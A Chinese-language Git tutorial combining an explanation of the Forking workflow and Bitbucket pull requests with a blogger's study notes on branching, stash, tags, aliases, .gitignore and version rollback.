要提交本地修改时，push提交到自己公开仓库中 —— 而不是正式仓库中。

然后，给正式仓库发起一个pull request，让项目维护者知道有更新已经准备好可以集成了。

对于贡献的代码，pull request也可以很方便地作为一个讨论的地方。


为了集成功能到正式代码库，维护者pull贡献者的变更到自己的本地仓库中，检查变更以确保不会让项目出错，
合并变更到自己本地的master分支，

然后pushmaster分支到服务器的正式仓库中。

到此，贡献的提交成为了项目的一部分，其它的开发者应该执行pull操作与正式仓库同步自己本地仓库。


2.4.2 正式仓库


在Forking工作流中，『官方』仓库的叫法只是一个约定，理解这点很重要。

从技术上来看，各个开发者仓库和正式仓库在Git看来没有任何区别。

事实上，让正式仓库之所以正式的唯一原因是它是项目维护者的公开仓库。


2.4.3 Forking工作流的分支使用方式


所有的个人公开仓库实际上只是为了方便和其它的开发者共享分支。

各个开发者应该用分支隔离各个功能，就像在功能分支工作流和Gitflow工作流一样。

唯一的区别是这些分支被共享了。在Forking工作流中这些分支会被pull到另一个开发者的本地仓库中，而在功能分支工作流和Gitflow工作流中是直接被push到正式仓库中。


2.4.4 示例


项目维护者初始化正式仓库





和任何使用Git项目一样，第一步是创建在服务器上一个正式仓库，让所有团队成员都可以访问到。

通常这个仓库也会作为项目维护者的公开仓库。


公开仓库应该是裸仓库，不管是不是正式代码库。

所以项目维护者会运行像下面的命令来搭建正式仓库：


bashssh user@host
git init --bare /path/to/repo.git



Bitbucket和Stash提供了一个方便的GUI客户端以完成上面命令行做的事。

这个搭建中央仓库的过程和前面提到的工作流完全一样。

如果有现存的代码库，维护者也要push到这个仓库中。


开发者fork正式仓库





其它所有的开发需要fork正式仓库。

可以用git clone命令用SSH协议连通到服务器，

拷贝仓库到服务器另一个位置 —— 是的，fork操作基本上就只是一个服务端的克隆。
Bitbucket和Stash上可以点一下按钮就让开发者完成仓库的fork操作。


这一步完成后，每个开发都在服务端有一个自己的仓库。和正式仓库一样，这些仓库应该是裸仓库。


开发者克隆自己fork出来的仓库





下一步，各个开发者要克隆自己的公开仓库，用熟悉的git clone命令。


在这个示例中，假定用Bitbucket托管了仓库。记住，如果这样的话各个开发者需要有各自的Bitbucket账号，

使用下面命令克隆服务端自己的仓库：


bashgit clone https://user@bitbucket.org/user/repo.git



相比前面介绍的工作流只用了一个origin远程别名指向中央仓库，Forking工作流需要2个远程别名 ——

一个指向正式仓库，另一个指向开发者自己的服务端仓库。别名的名字可以任意命名，常见的约定是使用origin作为远程克隆的仓库的别名

（这个别名会在运行git clone自动创建），upstream（上游）作为正式仓库的别名。


bashgit remote add upstream https://bitbucket.org/maintainer/repo



需要自己用上面的命令创建upstream别名。这样可以简单地保持本地仓库和正式仓库的同步更新。

注意，如果上游仓库需要认证（比如不是开源的），你需要提供用户：


bashgit remote add upstream https://user@bitbucket.org/maintainer/repo.git



这时在克隆和pull正式仓库时，需要提供用户的密码。


开发者开发自己的功能





在刚克隆的本地仓库中，开发者可以像其它工作流一样的编辑代码、提交修改和新建分支：


bashgit checkout -b some-feature
# Edit some code
git commit -a -m "Add first draft of some feature"



所有的修改都是私有的直到push到自己公开仓库中。如果正式项目已经往前走了，可以用git pull命令获得新的提交：


bashgit pull upstream master



由于开发者应该都在专门的功能分支上工作，pull操作结果会都是快进合并。


开发者发布自己的功能





一旦开发者准备好了分享新功能，需要做二件事。

首先，通过push他的贡献代码到自己的公开仓库中，让其它的开发者都可以访问到。

他的origin远程别名应该已经有了，所以要做的就是：


bashgit push origin feature-branch



这里和之前的工作流的差异是，origin远程别名指向开发者自己的服务端仓库，而不是正式仓库。


第二件事，开发者要通知项目维护者，想要合并他的新功能到正式库中。
Bitbucket和Stash提供了Pull Request按钮，弹出表单让你指定哪个分支要合并到正式仓库。

一般你会想集成你的功能分支到上游远程仓库的master分支中。


项目维护者集成开发者的功能





当项目维护者收到pull request，他要做的是决定是否集成它到正式代码库中。有二种方式来做：



	直接在pull request中查看代码

	
pull代码到他自己的本地仓库，再手动合并



第一种做法更简单，维护者可以在GUI中查看变更的差异，做评注和执行合并。

但如果出现了合并冲突，需要第二种做法来解决。这种情况下，维护者需要从开发者的服务端仓库中fetch功能分支，

合并到他本地的master分支，解决冲突：


bashgit fetch https://bitbucket.org/user/repo feature-branch
# 查看变更
git checkout master
git merge FETCH_HEAD



变更集成到本地的master分支后，维护者要push变更到服务器上的正式仓库，这样其它的开发者都能访问到：


bashgit push origin master



注意，维护者的origin是指向他自己公开仓库的，即是项目的正式代码库。到此，开发者的贡献完全集成到了项目中。


开发者和正式仓库做同步





由于正式代码库往前走了，其它的开发需要和正式仓库做同步：


bashgit pull upstream master



如果你之前是使用SVN，Forking工作流可能看起来像是一个激进的范式切换（paradigm shift）。

但不要害怕，这个工作流实际上就是在功能分支工作流之上引入另一个抽象层。

不是直接通过单个中央仓库来分享分支，而是把贡献代码发布到开发者自己的服务端仓库中。


示例中解释了，一个贡献如何从一个开发者流到正式的master分支中，但同样的方法可以把贡献集成到任一个仓库中。

比如，如果团队的几个人协作实现一个功能，可以在开发之间用相同的方法分享变更，完全不涉及正式仓库。


这使得Forking工作流对于松散组织的团队来说是个非常强大的工具。任一开发者可以方便地和另一开发者分享变更，任何分支都能有效地合并到正式代码库中。




2.5 Pull Requests



Pull requests是Bitbucket提供的让开发者更方便地进行协作的功能，提供了友好的Web界面可以在提议的修改合并到正式项目之前对修改进行讨论。





开发者向团队成员通知功能开发已经完成，Pull Requests是最简单的用法。

开发者完成功能开发后，通过Bitbucket账号发起一个Pull Request。

这样让涉及这个功能的所有人知道要去做Code Review和合并到master分支。


但是，Pull Request远不止一个简单的通知，而是为讨论提交的功能的一个专门论坛。

如果变更有任何问题，团队成员反馈在Pull Request中，甚至push新的提交微调功能。

所有的这些活动都直接跟踪在Pull Request中。





相比其它的协作模型，这种分享提交的形式有助于打造一个更流畅的工作流。
SVN和Git都能通过一个简单的脚本收到通知邮件；但是，讨论变更时，开发者通常只能去回复邮件。

这样做会变得杂乱，尤其还要涉及后面的几个提交时。
Pull Requests把所有相关功能整合到一个和Bitbucket仓库界面集成的用户友好Web界面中。


2.5.1 解析Pull Request



当要发起一个Pull Request，你所要做的就是请求（Request）另一个开发者（比如项目的维护者）

来pull你仓库中一个分支到他的仓库中。这意味着你要提供4个信息以发起Pull Request：

源仓库、源分支、目的仓库、目的分支。





这几值多数Bitbucket都会设置上合适的缺省值。但取决你用的协作工作流，你的团队可能会要指定不同的值。

上图显示了一个Pull Request请求合并一个功能分支到正式的master分支上，但可以有多种不同的Pull Request用法。


2.5.2 工作方式


Pull Request可以和功能分支工作流、Gitflow工作流或Forking工作流一起使用。

但一个Pull Request要求要么分支不同要么仓库不同，所以不能用于集中式工作流。

在不同的工作流中使用Pull Request会有一些不同，但基本的过程是这样的：



	开发者在本地仓库中新建一个专门的分支开发功能。

	开发者push分支修改到公开的Bitbucket仓库中。

	开发者通过Bitbucket发起一个Pull Request。

	团队的其它成员review code，讨论并修改。

	项目维护者合并功能到官方仓库中并关闭Pull Request。



本文后面内容说明，Pull Request在不同协作工作流中如何应用。


2.5.3 在功能分支工作流中使用Pull Request



功能分支工作流用一个共享的Bitbucket仓库来管理协作，开发者在专门的分支上开发功能。

但不是立即合并到master分支上，而是在合并到主代码库之前开发者应该开一个Pull Request发起功能的讨论。





功能分支工作流只有一个公开的仓库，所以Pull Request的目的仓库和源仓库总是同一个。

通常开发者会指定他的功能分支作为源分支，master分支作为目的分支。


收到Pull Request后，项目维护者要决定如何做。如果功能没问题，就简单地合并到master分支，关闭Pull Request。

但如果提交的变更有问题，他可以在Pull Request中反馈。之后新加的提交也会评论之后接着显示出来。


在功能还没有完全开发完的时候，也可能发起一个Pull Request。

比如开发者在实现某个需求时碰到了麻烦，他可以发一个包含正在进行中工作的Pull Request。

其它的开发者可以在Pull Request提供建议，或者甚至直接添加提交来解决问题。


2.5.4 在Gitflow工作流中使用Pull Request



Gitflow工作流和功能分支工作流类似，但围绕项目发布定义一个严格的分支模型。

在Gitflow工作流中使用Pull Request让开发者在发布分支或是维护分支上工作时，

可以有个方便的地方对关于发布分支或是维护分支的问题进行交流。





Gitflow工作流中Pull Request的使用过程和上一节中完全一致：

当一个功能、发布或是热修复分支需要Review时，开发者简单发起一个Pull Request，

团队的其它成员会通过Bitbucket收到通知。


新功能一般合并到develop分支，而发布和热修复则要同时合并到develop分支和master分支上。
Pull Request可能用做所有合并的正式管理。


2.5.5 在Forking工作流中使用Pull Request



在Forking工作流中，开发者push完成的功能到他自己的仓库中，而不是共享仓库。

然后，他发起一个Pull Request，让项目维护者知道他的功能已经可以Review了。


在这个工作流，Pull Request的通知功能非常有用，

因为项目维护者不可能知道其它开发者在他们自己的仓库添加了提交。





由于各个开发有自己的公开仓库，Pull Request的源仓库和目标仓库不是同一个。

源仓库是开发者的公开仓库，源分支是包含了修改的分支。

如果开发者要合并修改到正式代码库中，那么目标仓库是正式仓库，目标分支是master分支。


Pull Request也可以用于正式项目之外的其它开发者之间的协作。

比如，如果一个开发者和一个团队成员一起开发一个功能，他们可以发起一个Pull Request，

用团队成员的Bitbucket仓库作为目标，而不是正式项目的仓库。

然后使用相同的功能分支作为源和目标分支。





2个开发者之间可以在Pull Request中讨论和开发功能。

完成开发后，他们可以发起另一个Pull Request，请求合并功能到正式的master分支。

在Forking工作流中，这样的灵活性让Pull Request成为一个强有力的协作工具。


2.5.6 示例


下面的示例演示了Pull Request如何在在Forking工作流中使用。

也同样适用于小团队的开发协作和第三方开发者向开源项目的贡献。


在示例中，小红是个开发，小明是项目维护者。他们各自有一个公开的Bitbucket仓库，而小明的仓库包含了正式工程。


小红fork正式项目





小红先要fork小明的Bitbucket仓库，开始项目的开发。她登陆Bitbucket，浏览到小明的仓库页面，

点Fork按钮。





然后为fork出来的仓库填写名字和描述，这样小红就有了服务端的项目拷贝了。


小红克隆她的Bitbucket仓库





下一步，小红克隆自己刚才fork出来的Bitbucket仓库，以在本机上准备出工作拷贝
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13.分支管理策略

通常，合并分支时，如果可能，Git会用Fast forward模式，但这种模式下，删除分支后，会丢掉分支信息。

如果要强制禁用Fast forward模式，Git就会在merge时生成一个新的commit，这样，从分支历史上就可以看出分支信息。

下面我们实战一下--no-ff方式的git merge：


	git checkout -b dev 创建并切换到dev分支


	vim readme.txt 修改readme.txt文件


	git add readme.txt


	git commit -m "add merge" 提交一个新的commit


	git checkout master 切回master分支


	git merge --no-ff -m "merge with with no-ff" dev 准备合并dev分支，注意--no-ff参数表示禁用Fast forward，因为本次合并要创建一个新的commit，所以加上-m参数，把commit描述写进去


	git log --graph --pretty=oneline --abbrev-commit 合并后查看分支历史




合并分支时，加上--no-ff参数就可以用普通模式合并，合并后的历史有分支，能看出来曾经做过合并，而fast forward合并就看不出来曾经做过合并。

14.分支策略

在实际开发中，我们应该按照几个基本原则进行分支管理：


	首先，master分支应该是非常稳定的，也就是仅用来发布新版本，平时不能在上面干活


	那在哪里干活呢？干活都在dev分支上，也就是说，dev分支是不稳定的，到某个时候，比如2.0版本发布时，再把dev分支合并到master上，在master分支发新版本


	你和你的小伙伴每个人都在dev分支上干活，每个人都有自己的分支，时不时往dev分支上合并就可以了




所以，团队合作的分支看起来就像这个样子：


Git分支十分强大，在团队开发中应该充分应用。

15.Bug分支

软件开发中，bug就像是家常便饭一样。有了bug就需要修复，在Git中，由于分支是如此的强大，所以每个bug都可以通过一个新的临时分支来修复，修复后，合并分支，然后将临时分支删除。

当你街道一个修复代号为101的bug的任务的时候，很自然的，你想创建一个分支issue-101来修复它，但是，等等，当前正在dev上进行的工作还没有提交：

	git status 查看状态




并不是你不想提交，而是工作只进行到一半，还没法提交，预计完成还需1天时间。但是，必须在两个小时内修复该bug，怎么办？

幸好，Git还提供了一个stash功能，可以把当前工作现场“储藏”起来，等以后恢复现场后继续工作：


	git stash 用该命令查看工作区，就是干净的（除非有没有被Git管理的文件），因此可以放心的创建分支来修复bug了。


	git checkout master 从dev分支切换回master


	git checkout -b issue-101  假定需要在master分支上修复，就从master创建临时分支


	假设现在修复好了bug，本例中，就假如在readme.txt文件中做了修改


	git add readme.txt


	git commit -m "fic bug 101" 修改之后提交


	git checkout master 从issue-101切换回master


	git merge --no-ff -m "merged bug fix 101" issue-101 合并分支选择不适用Fast forward模式，然后添加必要的描述信息


	git branch -d issue-101 删除issue-101这个临时bug修复分支


	太棒了，bug搞定了，现在可以回到dev分支干活了


	git checkout dev 切换回dev分支


	git status 可以看出工作区是干净的，那么刚才的工作现场存在哪里呢？


	git stash list 看到工作现场还在，Git吧stash内容存在某个地方了，但是需要恢复一下


	方法一git stash apply，但是回复后，stash内容并不删除，你需要使用git stash drop来删除


	方法二git stash pop，恢复的同时也把stas内容删除了


	git stash list 再用git stash list查看，就看不到任何stash内容了


	你可以多次stash，恢复的时候，先用giit stash list 查看，然后恢复指定的stash，使用如下的命令


	git stash apply stash@{0}




修复bug时，我们会通过创建新的bug分支进行修复，然后合并，最后删除。

当手头工作没有完成时，先把工作现场git stash一下，然后去修复bug，修复后，再git stash pop，回到工作现场。

16.Feature分支

软件开发中，总有无穷无尽的新的功能要不断添加进来。

添加一个新功能时，你肯定不希望因为一些实验性质的代码，把主分支搞乱了，所以，每添加一个新功能，最好新建一个feature分支，在上面开发，完成后，合并，最后，删除该feature分支。

现在，你终于接到了一个新任务：开发代号为Vulcan的新功能，该功能计划用于下一代星际飞船。软件开发中，总有无穷无尽的新的功能要不断添加进来。

添加一个新功能时，你肯定不希望因为一些实验性质的代码，把主分支搞乱了，所以，每添加一个新功能，最好新建一个feature分支，在上面开发，完成后，合并，最后，删除该feature分支。

现在，你终于接到了一个新任务：开发代号为Vulcan的新功能，该功能计划用于下一代星际飞船。于是开始准备工作


	git checkout -b feature-vulcan 在dev分支上创建并且换到feature-vulcan分支，用来开发新功能


	假如现在经过一定的时间后，工作完成了


	git add vulcan.py


	git status 查看状态


	git commit -m "add feature vulcan" 提交


	git checkout dev 切换回dev分支


	一切顺利的话，feature分支和bug分支是类似的，合并，然后删除。但是，就在此时，接到上级命令，因经费不足，新功能必须取消！虽然白干了，但是这个分支还是必须就地销毁，不要再合并了:


	git branch -d feature-vulcan 销毁失败。Git友情提醒，feature-vulcan分支还没有被合并，如果删除，将丢失掉修改，如果要强行删除，需要使用命令git branch -D feature-vulcan。


	git branch -D feature-vulcan




17.多人协作

当你从远程仓库克隆时，实际上Git自动把本地的master分支和远程的master分支对应起来了，并且，远程仓库的默认名称是origin。

推送分支


	git remote 查看远程库的信息


	git remote -v 显示更为详细的信息


	git push origin master 推送分支，就是把该分支上的所有本地提交推送到远程库。推送时，要指定本地分支，这样，Git就会把该分支推送到远程库对应的远程分支上。


	git push origin dev 也可以推送到其他的分支，比如dev分支


	但是，并不是一定要把本地分支往远程推送，那么，哪些分支需要推送，哪些不需要呢？master分支是主分支，因此要时刻与远程同步；dev分支是开发分支，团队所有成员都需要在上面工作，所以也需要与远程同步；bug分支只用于在本地修复bug，就没必要推到远程了，除非老板要看看你每周到底修复了几个bug；feature分支是否推到远程，取决于你是否和你的小伙伴合作在上面开发。总之，就是在Git中，分支完全可以在本地自己藏着玩，是否推送，视你的心情而定！




抓取分支

多人协作时，大家都会往master和dev分支上推送各自的修改。


	git clone git@github.com:michaelliao/learngit.git  现在，模拟一个你的小伙伴，可以在另一台电脑（注意要把SSH Key添加到GitHub）或者同一台电脑的另一个目录下克隆。


	git branch 当你的小伙伴从远程库clone时，默认情况下，你的小伙伴只能看到本地的master分支，所以执行这条命令只能看到master分支


	git checkout -b dev origin/dev 现在，你的小伙伴要在dev分支上开发，就必须创建远程origin的dev分支到本地，于是他用这个命令创建本地dev分支


	git commit -m "add /usr/bin/env" 现在，他就可以在dev上继续修改，然后，时不时地把dev分支push到远程。


	git add hello.py git commit -m "add coding: utf-8"  git push origin dev 你的小伙伴已经向origin/dev分支推送了他的提交，而碰巧你也对同样的文件作了修改，并试图推送。推送失败，因为你的小伙伴的最新提交和你试图推送的提交有冲突。


	git pull 解决办法也很简单，Git已经提示我们，先用git pull把最新的提交从origin/dev抓下来，然后，在本地合并，解决冲突，再推送。


	git branch --set-upstream dev origin/dev git pull也失败了，原因是没有指定本地dev分支与远程origin/dev分支的链接，根据提示，设置dev和origin/dev的链接。


	git pull 再次pull，这回git pull成功，但是合并有冲突，需要手动解决，解决的方法和分支管理中的解决冲突完全一样


	git commit -m "merge & fix hello.py" git push origin dev 解决冲突后，再提交，再push




因此，多人协作的工作模式通常是这样的：


	首先，可以试图用git push origin branch-name 推送自己的修改


	如果推送失败，则因为远程分支比你的本地更新，需要先用git pull试图合并


	如果合并有冲突，则解决冲突，并在本地提交


	没有冲突或者解决掉冲突之后，再用git push origin branch-name推送就能成功


	如果git pull提示“no tracking information”，则说明本地分支和远程分支的链接关系没有创建，用命令git branch --set-upstream branch-name origin/branch-name。这就是多人协作的工作模式，一旦熟悉了，就非常简单。




18.标签管理

发布一个版本时，我们通常先在版本库中打一个标签，这样，就唯一确定了打标签时刻的版本。将来无论什么时候，取某个标签的版本，就是把那个打标签的时刻的历史版本取出来。所以，标签也是版本库的一个快照。

Git的标签虽然是版本库的快照，但其实它就是指向某个commit的指针（跟分支很像对不对？但是分支可以移动，标签不能移动），所以，创建和删除标签都是瞬间完成的。

19.创建标签


	git branch 查看当前有哪些分支


	git checkout master 在Git中打标签非常简单，首先，切换到需要打标签的分支上


	git tag tagnamev1.0 打一个新标签


	git tag 查看所有标签


	默认标签是打在最新提交的commit上的（也就是HEAD）。有时候，如果忘了打标签，比如，现在已经是周五了，但应该在周一打的标签没有打，怎么办？


	git log --pretty=oneline --abbrev-commit 方法是找到历史提交的commit id，然后打上就可以了，这时候显示了提交的历史信息 ，假如有这么一条就是你想打标签的历史commit：6224937 add merge


	git tag tagnamev2.0 6224937 就可以给这次提交打标签了


	git tag 可以查看标签信息，注意，标签不是按时间顺序列出，而是按字母排序的


	git show tagnamev2.0 查看具体的某个标签的信息


	git tag -a v0.1 -m "version 0.1 released" 3628164 还可以创建带有说明的标签，用-a指定标签名，-m指定说明文字


	git show v0.1 查看具体的某个标签的信息，可以看到说明文字


	git tag -s v0.2 -m "signed version 0.2 released" fec145a 还可以通过-s用私钥签名一个标签，签名采用PGP签名，因此，必须首先安装gpg（GnuPG），如果没有找到gpg，或者没有gpg密钥对，就会报错


	git show v0.2  用命令git show <tagname>可以看到PGP签名信息，用PGP签名的标签是不可伪造的，因为可以验证PGP签名。




20.操作标签


	git tag -d v0.1 假如标签打错了，也可以删除，因为创建的标签都只存储在本地，不会自动推送到远程。所以，打错的标签可以在本地安全删除。


	git push origin v1.0 要推送某个标签到远程


	git push origin --tags 或者，一次性推送全部尚未推送到远程的本地标签


	git tag -d v0.9 如果标签已经推送到远程，要删除远程标签就麻烦一点，先从本地删除


	git push origin :refs/tags/v0.9 然后，从远程删除。删除命令也是push，但是格式要注意




21.使用Github

如何参与一个开源项目呢？比如人气极高的bootstrap项目，这是一个非常强大的CSS框架。


	你可以访问它的项目主页https://github.com/twbs/bootstrap，点“Fork”就在自己的账号下克隆了一个bootstrap仓库


	git clone git@github.com:yourname/bootstrap.git 然后，从自己的账号下clone


	一定要从自己的账号下clone仓库，这样你才能推送修改。如果从bootstrap的作者的仓库地址git@github.com:twbs/bootstrap.git克隆，因为没有权限，你将不能推送修改。




Bootstrap的官方仓库twbs/bootstrap、你在GitHub上克隆的仓库my/bootstrap，以及你自己克隆到本地电脑的仓库，他们的关系就像下图显示的那样：


如果你想修复bootstrap的一个bug，或者新增一个功能，立刻就可以开始干活，干完后，往自己的仓库推送。

如果你希望bootstrap的官方库能接受你的修改，你就可以在GitHub上发起一个pull request。当然，对方是否接受你的pull request就不一定了。

如果你没能力修改bootstrap，但又想要试一把pull request，那就Fork一下廖雪峰的仓库：https://github.com/michaelliao/learngit，创建一个your-github-id.txt的文本文件，比如我的：xumenger.txt，写点自己学习Git的心得，然后推送一个pull request给他，他会视心情而定是否接受。

22.自定义Git

之前已经说过在使用之前必须先配置user.name和user.email，否则后面commit的时候可能会有错误，实际上git还有很多可配置的：

	git config --global color.ui true 让Git显示颜色，会让命令输出看起来更醒目，自己去试试一些git命令的输出看看是不是有色！




23.忽略特殊文件

有些时候，你必须把某些文件放到Git工作目录中，但又不能提交它们，比如保存了数据库密码的配置文件啦，等等，每次git status都会显示Untracked files ...，有强迫症的童鞋心里肯定不爽。

好在Git考虑到了大家的感受，这个问题解决起来也很简单，在Git工作区的根目录下创建一个特殊的.gitignore文件，然后把要忽略的文件名填进去，Git就会自动忽略这些文件。

不需要从头写.gitignore文件，GitHub已经为我们准备了各种配置文件，只需要组合一下就可以使用了。所有配置文件可以直接在线浏览：https://github.com/github/gitignore

忽略文件的原则是：


	忽略操作系统自动生成的文件，比如缩略图等；


	忽略编译生成的中间文件、可执行文件等，也就是如果一个文件是通过另一个文件自动生成的，那自动生成的文件就没必要放进版本库，比如Java编译产生的.class文件；


	忽略你自己的带有敏感信息的配置文件，比如存放口令的配置文件。




举个例子

假设你在Windows下进行Python开发，Windows会自动在有图片的目录下生成隐藏的缩略图文件，如果有自定义目录，目录下就会有Desktop.ini文件，因此你需要忽略Windows自动生成的垃圾文件：

# Windows:
Thumbs.db
ehthumbs.db
Desktop.ini


然后，继续忽略Python编译产生的.pyc、.pyo、dist等文件或目录：

# Python:
*.py[cod]
*.so
*.egg
*.egg-info
dist
build


加上你自己定义的文件，最终得到一个完整的.gitignore文件，内容如下：

# Windows:
Thumbs.db
ehthumbs.db
Desktop.ini

# Python:
*.py[cod]
*.so
*.egg
*.egg-info
dist
build

# My configurations:
db.ini
deploy_key_rsa


最后一步就是把.gitignore也提交到Git，就完成了！当然检验.gitignore的标准是git status命令还会不会再说working directory clean。.gitignore文件本身要放到版本库里，并且可以对.gitignore做版本管理！

使用Windows的童鞋注意了，如果你在资源管理器里新建一个.gitignore文件，它会非常弱智地提示你必须输入文件名，但是在文本编辑器里“保存”或者“另存为”就可以把文件保存为.gitignore了。

再次建议：有钱的买mac，没钱的用ubuntu--或者其他的linux发行版、被逼无奈的用Windows--但是被逼之余的自主时间一定要远离Windows。



24.配置别名

给Git配置好别名，就可以输入命令时偷个懒。我们鼓励偷懒。




	git config --global alias.st status 有没有经常敲错命令？比如git status？status这个单词真心不好记。如果敲git st就表示git status那就简单多了，当然这种偷懒的办法我们是极力赞成的。


	git config --global alias.co checkout


	git config --global alias.ci commit


	git config --global alias.br branch


	很多人都用co表示checkout，ci表示commit，br表示branch


	git ci -m "bala bala bala..." 以后提交就可以简写成这样


	git config --global alias.unstage 'reset HEAD' 在撤销修改一节中，我们知道，命令git reset HEAD file可以把暂存区的修改撤销掉（unstage），重新放回工作区。既然是一个unstage操作，就可以配置一个unstage别名


	git unstage test.py 当你敲入此命令，实际上Git执行的是：git reset HEAD test.py


	git config --global alias.last 'log -1' 配置一个git last，让其显示最后一次提交信息


	git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit" 甚至还有人这样的配置，那么，这时候git lg的效果是这样的





配置文件

配置Git的时候，加上--global是针对当前用户起作用的，如果不加，那只针对当前的仓库起作用。

配置文件放哪了？每个仓库的Git配置文件都放在.git/config文件中：

$ cat .git/config 
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
[remote "origin"]
    url = git@github.com:michaelliao/learngit.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
[alias]
    last = log -1


别名就在[alias]后面，要删除别名，直接把对应的行删掉即可。

而当前用户的Git配置文件放在用户主目录下的一个隐藏文件.gitconfig中：

$ cat .gitconfig
[alias]
    co = checkout
    ci = commit
    br = branch
    st = status
[user]
    name = Your Name
    email = your@email.com


配置别名也可以直接修改这个文件，如果改错了，可以删掉文件重新通过命令配置。

25.搭建Git服务器

如果需要的话，请自己参考廖雪峰的教程


 -使用git和github管理自己的项目---基础操作学习

作者：xumenger

来源： -使用git和github管理自己的项目---基础操作学习



                    
我是通过看廖雪峰的git教程学习的，真的是极好的，以下是我学习过程中的总结，记录下来，方便自己参考以熟悉git和github的使用。

除了廖雪峰的教程，还比较推荐在看完廖雪峰的教程之后，再看这样一篇文章：使用git和github进行协同开发流程，和我的另一篇git的笔记：使用git和github管理自己的项目---真实开发环境的策略 ，深入了解github和git怎么在具体的项目开发中管理项目、有什么好的规范！

我这里记录git的学习笔记，方便随时参考，具体的git的原理、github的原理、集中式和分布式版本控制的区别、版本控制的概念和原理、Git和其他版本控制工具比如SVN的区别、以及更多的相关概念讲解，请自己参见廖雪峰的git教程。

我强烈推荐先看廖雪峰的git教程来系统化认识和学习git，然后自己整理一份具体的步骤方便平时开发时快速参考，或者直接参考我的。



先说一个比较好笑的事：廖雪峰的git教程中，刚开始的部分的浏览量有38万，但是最后一页教程的网页的浏览量是1万多。

以前因为觉得git、github比较难，所以一直拖着不学，现在去尝试学习，一晚上就OK了


	重点之一是找到全面的、详细的、生动的、高质量的教程。廖雪峰的git教程是我目前找到的最好的一个。之前找到的讲解git用法的书《pro git》现在看来是没有必要再看了！


	重点之二就是自己立即去学，其实没什么难的，不要被貌似难的表象、概念唬住。


	重点之三是最好能自己做简单的、系统的整理，方便自己随时再回来查看、复习、参考，不至于出现这样的情况：学完以后过一段时间之后再用，但是这时候发现忘了差不多了！


	重点之四就是立即动手去用，否则学完很快就忘了。




有钱的买mac，没钱的用ubuntu--或者其他的linux发行版、被逼无奈的用Windows--但是被逼之余的自主时间一定要远离Windows。



现在我的测试环境是ubuntu。

以对一个文件的管理为例，简单说明git的使用。另外需要说明的是下面的实验过程主要是只针对一个文件、并且修改的次数往往只有一次，而在真正的项目中，往往有大量的文件，也可能多次修改后才合并，合并时候的冲突可能也不只一两个，等等。不过原理都是一样的，我想说的是，不要局限在这个教程的示例上，请自己通过教程掌握基本的远原理之后，自己推广、去大量的实践，最重要的是要制定一个好的版本控制的策略（合理分工、安排，还是尽可能的避免冲突为好），这个可以参考：使用git和github进行协同开发流程以及我的学习笔记使用git和github管理自己的项目---真实开发环境的策略。

1.创建版本库


	sudo apt-get install git 先安装git


	先创建目录，作为仓库


	git init 初始化仓库，可以发现当前目录下多了一个.git的目录，这个目录是Git来跟踪管理版本库的，没事千万不要手动修改这个目录里面的文件，不然改乱了，就把Git仓库给破坏了


	vim readme.txt 新建一个文本文件，比如往里面添加简单的一行字符串


	git add readme.txt 添加一个文件，比如readme.txt，如果目录里面的所有文件都要添加，可以git add *


	git commit-m "添加一个readme.txt文件" 将文件提交到仓库，并加上说明（这时候是版本1）


	如果是第一次使用git，那么git commit可能报错，所以需要你配置一些个人信息


	git config --global user.email "you@example.com" 配置邮件


	git config --global user.name "Your Name" 配置用户名


	必须配置，否则后面的commit、push到远程库都会失败


	然后再次git commit -m "添加一个readme.txt文件" 才会成功




2.提交修改


	假如此时第一次修改了readme.txt文件


	git status 让我们时刻掌握仓库当前的状态。这时告诉我们，readme.txt被修改过了，但还没有准备提交的修改。


	git diff readme.txt 查看对readme.txt做了什么修改


	git add readme.txt 提交修改和提交新文件是一样，先git add


	git status 可以再用git status查看仓库的当前状态，告诉我们，将要被提交的修改包括readme.txt


	git commit-m "第一次修改"  然后再git commit，并添加修改的描述（这时候是版本2）


	git status 可以再执行git status看仓库状态，因为所有的都提交了，Git告诉我们当前没有需要提交的修改，而且，工作目录是干净（working directory clean）的。




3.版本回退


	你可以像上面所说的那样不停的提交新的文件、提交对文件的修改


	这时候第二次修改readme.txt文件


	git add readme.txt 先git add


	git commit -m "第二次修改"  提交第二次修改（这时候是版本3）


	git log 显示从最近到最远的提交日志，具体显示的内容自己试一试看看


	git log --pretty=oneline 如果嫌输出信息太多，看得眼花缭乱，试试加上--pretty=oneline参数


	看这篇教程去理解为什么Git的版本号要这么长，Git的版本号类似：3628164fb26d48395383f8f31179f24e0882e1e0 这样的特别长的十六进制数。


	git reset --hard HEAD^ 会回退到上一个版本，也就是从版本3回退到版本2


	在Git中，用HEAD表示当前版本，也就是最新的提交3628164...882e1e0（注意我的提交ID和你的肯定不一样），上一个版本就是HEAD^，上上一个版本就是HEAD^^，当然往上100个版本写100个^比较容易数不过来，所以写成HEAD~100


	vim readme.txt 可以看到此时的readme.txt文件就是版本2时候的内容，回退成功！


	git log 此时看到版本3的信息没有了


	git reset --hard 3628164 通过命令行上的历史信息（假如你没清屏的话），找到版本3 的版本号，不一定要全部的版本号，就像这个命令的例子，只要前面的约7、8位这样就可以指定回到版本3


	vim readme.txt 看到的是第三版本的readme.txt文件的内容，所以又回来了


	Git的版本回退速度非常快，因为Git在内部有个指向当前版本的HEAD指针，当你回退版本的时候，Git仅仅是把HEAD从指向你要回退的那个版本


	git reflog 记录你的每一次命令，最先显示的是这个命令执行之后的版本的版本号的前七位，这样就算你清屏了或者重启了，也能找到某个版本的版本号，就可以轻松回退到那个版本




4.工作区、版本库和暂存区

工作区：就是你在电脑里能看到的目录，比如我的learngit文件夹就是一个工作区。

版本库：工作区有一个隐藏目录.git，这个不算工作区，而是Git的版本库。

暂存区：Git的版本库里存了很多东西，其中最重要的就是称为stage（或者叫index）的暂存区，还有Git为我们自动创建的第一个分支master，以及指向master的一个指针叫HEAD。

前面讲了我们把文件往Git版本库里添加的时候，是分两步执行的：


	第一步是用git add把文件添加进去，实际上就是把文件修改添加到暂存区；


	第二步是用git commit提交更改，实际上就是把暂存区的所有内容提交到当前分支。




因为我们创建Git版本库时，Git自动为我们创建了唯一一个master分支，所以，现在，git commit就是往master分支上提交更改。

你可以简单理解为，需要提交的文件修改通通放到暂存区，然后，一次性提交暂存区的所有修改。

